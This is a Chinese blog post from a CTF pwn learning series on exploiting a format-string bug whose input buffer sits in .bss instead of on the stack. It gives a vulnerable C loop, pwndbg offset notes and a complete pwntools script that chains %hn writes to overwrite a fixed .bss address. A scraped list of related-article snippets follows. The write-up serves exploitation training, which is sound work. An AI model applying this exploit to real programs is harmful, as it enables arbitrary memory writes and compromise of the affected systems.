首页 > 其他分享 >从0到1:CTFer成长之路-PWN篇

从0到1:CTFer成长之路-PWN篇

时间:2023-05-16 22:33:48浏览次数:41  
标签:25 之路 pie c% sendline CTFer 0xffff PWN payload

72217_格式化字符串不在栈上的利用方式

格式化字符串不在栈上的利用方式, 参数在 .bss 段,不在栈上

条件: 需要多次可输入参数

void vuln()
{
  while ( strcmp(chr, "bye") )
  {
    gets(chr);
    printf(chr);
  }
}
  1. 在栈上找到一个利用链 a->b->c, 另一个指针 p->0x4005d0, secret
  2. 使用 b->c改为 b->secret
  3. 修改p 值为目标值
"""
|0a:0050│  0x7ffe9b362c80 —▸ 0x4005d0 (_start) ◂— xor ebp, ebp
│13:0098│  0x7ffe9b362cc8 —▸ 0x7ffe9b362d38 —▸ 0x7ffe9b362c82 ◂— 0x2d20000000000040 /* '@'
│pwndbg> fmtarg 0x7ffe9b362cc8
│The index of format argument : 25 ("\%24$p")
pwndbg> fmtarg 0x7ffe9b362c80
The index of format argument : 16 ("\%15$p")
pwndbg> fmtarg 0x7ffe9b362d38
The index of format argument : 39 ("\%38$p")
0x7ffe9b362d38 - 0x7ffe9b362c80 = 0xb8
"""
from pwn import *

s = process('demo')
value = 0xDEADBEEF12345678

payload = "%25$p"
# offset 25
# offset 16
# offset 39

# gdb.attach(s, "b *0x4006e5\n\c\n")
# gdb.attach(s, "b *0x04006FE\n\c\n")
s.sendline(payload)
stack = int(s.recv(14), 16)
success(hex(stack))

pie = stack - 0xb8
pie += 2
print('pie ', hex(pie))
payload = "%" + str(pie & 0xffff) + "c%25$hn"
print('payload, ', payload)
s.sendline(payload)

secret1 = 0x601080 # .bss段中固定地址
secret2 = secret1 // 0x10000
payload = "%" + str(secret2 & 0xffff) + "c%39$hn"
s.sendline(payload)

pie -= 2
payload = "%" + str(pie & 0xffff) + "c%25$hn"
s.sendline(payload)

for i in range(4):
    payload = "%" + str(secret1 & 0xffff) + "c%39$hn"
    s.sendline(payload)
    payload = "%" + str(value & 0xffff) + "c%16$hn"
    s.sendline(payload)
    secret1 += 2
    value //= 0x10000

s.sendline('bye')
s.interactive()

标签:25,之路,pie,c%,sendline,CTFer,0xffff,PWN,payload
From: https://www.cnblogs.com/wgf4242/p/17407076.html

相关文章

  • 三届跻身世界级,长沙国际工程机械展的突破之路
    文|智能相对论作者|易不二长沙正在成为全球工程机械企业争相奔赴的产业“盛宴”。近日完美落幕的第三届长沙国际工程机械展,留下了全球30多个国家、1500余家企业“同台竞技”的精彩亮相,并达成了536亿元的现场交易额。卡特彼勒、日立、沃尔沃等全面展出最新“国四排放”系列产品;......
  • Django4全栈进阶之路24 项目实战(报修类型表):CKEditor富文本
    CKEditor是一个强大的富文本编辑器,可以用于在网站或应用程序中创建和编辑内容。以下是在安装和使用CKEditor的一般步骤:安装CKEditor:下载CKEditor:访问CKEditor官方网站(https://ckeditor.com/)并下载适用于您的项目的CKEditor版本。解压文件:将下载的CKEditor压缩包解压到您的项目......
  • kernel pwn 从 0.5 到 0
    xman2020-level1注册了一个baby驱动,在sub_0中存在栈溢出,可以将0x100的用户数据copy到内核栈上,缓冲去到rbp距离为0x80。什么保护没开直接ret2user......
  • 杭钢集团:以用友iuap为数智底座的数智化转型之路
    近日,一年一度的用友BIP技术大会圆满召开。来自行业领先企业的CIO/CDO、生态伙伴、开发者、分析师、媒体等共聚北京用友产业园,了解最新技术发展趋势、探讨行业热点话题。会上,杭钢集团总经理助理施永益分享了杭钢集团基于用友BIP-iuap平台推进数智化转型的领先实践。以下内容根据杭钢......
  • pwn刷题笔记
    jarvisoj_level2(ret2text)checksec检查保护机制,开启了NX。vulnerable_function函数处存在栈溢出漏洞:buf只能存放0x88个字节,但可以读入0x100个字节。system函数plt地址:0x8048320ida查看字串,“/bin/sh”地址:0x804A024构造payload#!/usr/bin/envpython3frompwnimport*io......
  • pwntools
    PwntoolsCheatsheet(github上薅的)(方便自己查找)ProgramInteractionEnvironmentandContextsLoggingandOutputEncoding,PackingandUtilityAssemblyandShellcraftELFs,StringsandSymbolsReturnOrientedProgrammingSROPandSigreturnFramesFormatStringEx......
  • 做客《创新之路》,Tapdata 创始人唐建法对话央视著名主持人李雨霏,畅聊创业故事
    在近期播出的《创新之路》访谈栏目中,Tapdata创始人兼CEO唐建法(TJ)对话央视著名主持人李雨霏,从一个人的创业梦想,聊到一个优秀团队的创新、突破与成长之路;从大数据时代企业对数据需求的日益提升,谈到孤岛问题这一行业痛点如何攻克,我们看到了TJ作为Tapdata领路人对于行业共同问......
  • 将小米8搞成破坏机之路
    1.从咸鱼花个300左右入手一套小米82.默认已经root,且已经装了LSposed3.卸载一些没有用的内置软件4.打开开发者模式,设置》关于手机〉找到“MIUI版本号”并连续点击七次。这将激活开发者模式5.登录小米账号,以及插入sim卡, 这一步做为了打开usb调试以及安装功能。小米搞......
  • Python学习之路和隐藏特征
    在小学生都学Python了,你还不知道怎么开始文中介绍了Python的应用广泛,功能强大,提供了Python的在线学习视频和资料等。学习程序语言不是一件难事,也不是一件简单事。为什么编程这么难中翻译了一篇编程学习的心路历程。(图例“编程信心与能力”:纵轴为信心值,横轴为能力水平,虚线从左至右依......
  • Python之路,Day21 - 常用算法学习
    本节内容算法定义时间复杂度空间复杂度常用算法实例 1.算法定义算法(Algorithm)是指解题方案的准确而完整的描述,是一系列解决问题的清晰指令,算法代表着用系统的方法描述解决问题的策略机制。也就是说,能够对一定规范的输入,在有限时间内获得所要求的输出。如果一个算法有缺陷,......